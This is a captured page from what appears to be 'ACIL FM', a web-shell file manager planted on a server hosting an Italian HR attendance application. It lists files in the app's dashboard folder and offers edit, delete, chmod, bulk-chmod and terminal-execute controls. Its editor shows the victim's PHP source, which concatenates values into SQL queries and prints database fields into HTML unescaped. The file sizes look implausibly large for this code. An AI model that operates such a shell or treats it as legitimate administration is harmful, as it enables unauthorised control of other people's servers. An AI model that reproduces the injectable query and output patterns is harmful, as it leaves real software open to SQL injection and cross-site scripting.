ACIL FM
Dark
Refresh
Current DIR:
/home/mhhtmff/app/NH-HR-test-old/ds/public/dashboard
/
home
mhhtmff
app
NH-HR-test-old
ds
public
dashboard
Upload
Zip Selected
Delete Selected
Pilih semua
Nama
Ukuran
Permission
Aksi
dashboard_info.php
24.54 MB
chmod
View
DL
Edit
Rename
Delete
problems_list.php
6.02 MB
chmod
View
DL
Edit
Rename
Delete
Edit file: /home/mhhtmff/app/NH-HR-test-old/ds/public/dashboard/problems_list.php
<?php session_start(); if (!isset($_SESSION['loggedin'])) { exit("unauthorized"); } include "../../php/database.php"; $auto_check = $_GET["auto_check"]; $sql_problems_range = "SELECT * FROM problems_date_range WHERE user_id = 0"; $result_problems_range = mysqli_query($con, $sql_problems_range); $last_update_problems = mysqli_fetch_assoc($result_problems_range); $sql_problems_range_user = "SELECT * FROM problems_date_range WHERE user_id = " . $_SESSION["id"] . ""; $result_problems_range_user = mysqli_query($con, $sql_problems_range_user); $last_update_problems_user = mysqli_fetch_assoc($result_problems_range_user); if ($last_update_problems["datetime"] >= $last_update_problems_user["datetime"]) { $start_date_check = $last_update_problems["start"]; $end_date_check = $last_update_problems["end"]; $check_datetime = $last_update_problems["datetime"]; $auto_check = true; } else { $start_date_check = $last_update_problems_user["start"]; $end_date_check = $last_update_problems_user["end"]; $check_datetime = $last_update_problems_user["datetime"]; $auto_check = false; } ?> <div class="card-title mb-3"> <span style="position: absolute;">Problemi rilevati</span> <div class="row justify-content-md-center"> <div class="col-md-auto" style="display: flex;"> <span style="font-size: 15px; margin-right: 20px;">Da </span> <input class="form-control" id="start_date_check" type="date" placeholder="Ora" value="<?php echo $start_date_check; ?>" style="width: 200px"> <span style="font-size: 15px; margin-right: 20px; margin-left: 20px;">A </span> <input class="form-control" id="end_date_check" type="date" placeholder="Ora" value="<?php echo $end_date_check; ?>" style="width: 200px"> <button class="btn btn-primary m-1" type="button" onclick="RunProblemsControl()" style="margin-left: 20px !important; margin-top: 0px !important;">Esegui controllo</button> </div> </div> <div class="row"> <div class="col-md-12"> <p style="text-align: center; color: blue; font-size: 12px; margin-bottom:0"> <?php if ($auto_check == true) { echo "Ultimo controllo effettuato automaticamente: " . date("d/m/Y H:i:s", strtotime($check_datetime)); } else { echo "Ultimo controllo effettuato: " . date("d/m/Y H:i:s", strtotime($check_datetime)); } ?> </p> </div> </div> </div> <hr style="margin: 0;"> <div> <table id="problems_list_table" class="display" style="width:100%"> <thead> <tr> <?php if ($_SESSION["role"] == "Admin") { echo "<th>Dipendente</th>"; } ?> <th>Tipo</th> <th>Descrizione</th> <th>Suggerimento</th> <th>Data</th> <th>Risoluzione</th> <th></th> </tr> </thead> <tbody> <?php $working_minutes = 0; $consecutive_days = 0; $current_date = ""; $current_time = ""; $index = 0; $stamps_not_match = false; $month = date("m"); $year = date("Y"); $date = mktime(0, 0, 0, $month, 1, $year); if ($auto_check == 1) { if ($_SESSION["role"] == "Admin") { $sql_problems = "SELECT * FROM problems WHERE run_user_id = 0 ORDER BY date DESC"; } else { $sql_problems = "SELECT * FROM problems WHERE run_user_id = 0 AND user_id = " . $_SESSION["id"] . " ORDER BY date DESC"; } } else { if ($_SESSION["role"] == "Admin") { $sql_problems = "SELECT * FROM problems WHERE run_user_id = " . $_SESSION["id"] . " ORDER BY date DESC"; } else { $sql_problems = "SELECT * FROM problems WHERE run_user_id = " . $_SESSION["id"] . " AND user_id = " . $_SESSION["id"] . " ORDER BY date DESC"; } } $result_preblems = mysqli_query($con, $sql_problems); while ($problems = mysqli_fetch_assoc($result_preblems)) { if ($problems["source_id"] > 0 && $problems["source_type"] == "Timbratura") { $sql_stamps = "SELECT * FROM stamps WHERE id = " . $problems["source_id"] . ""; $result_stamps = mysqli_query($con, $sql_stamps); $stamps = mysqli_fetch_assoc($result_stamps); } $sql_users = "SELECT * FROM users WHERE id = " . $problems["user_id"] . ""; $result_users = mysqli_query($con, $sql_users); $users = mysqli_fetch_assoc($result_users); $user_name = $users["name"] . " " . $users["surname"]; echo "<tr>"; if ($_SESSION["role"] == "Admin") { echo "<th>" . $user_name . "</th>"; } echo "<td>" . $problems["source_type"] . "</td>"; echo "<td>" . $problems["description"] . "</td>"; echo "<td>" . $problems["suggestion"] . "</td>"; echo "<td data-sort='" . $problems["date"] . "'>" . date("d/m/Y", strtotime($problems["date"])) . "</td>"; echo "<td><a href='#' onclick='resolveProblem(" . $problems["id"] . ")' style='color: blue'><u>Risolto</u></a></td>"; echo "<td>"; echo "<a href='situation.php?event_id=" . $problems["source_id"] . "&&event_type=" . $problems["source_type"] . "&&user_id=" . $problems["user_id"] . "&&calendar_view=" . $problems["calendar_type"] . "&&day=" . $problems["date"] . "' target='_blank' style='cursor: pointer; margin-right:10px'><i class='fa-solid fa-magnifying-glass' aria-hidden='true'></i></a>"; echo "</td>"; echo "</tr>"; } ?> </tbody> </table> </div>
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply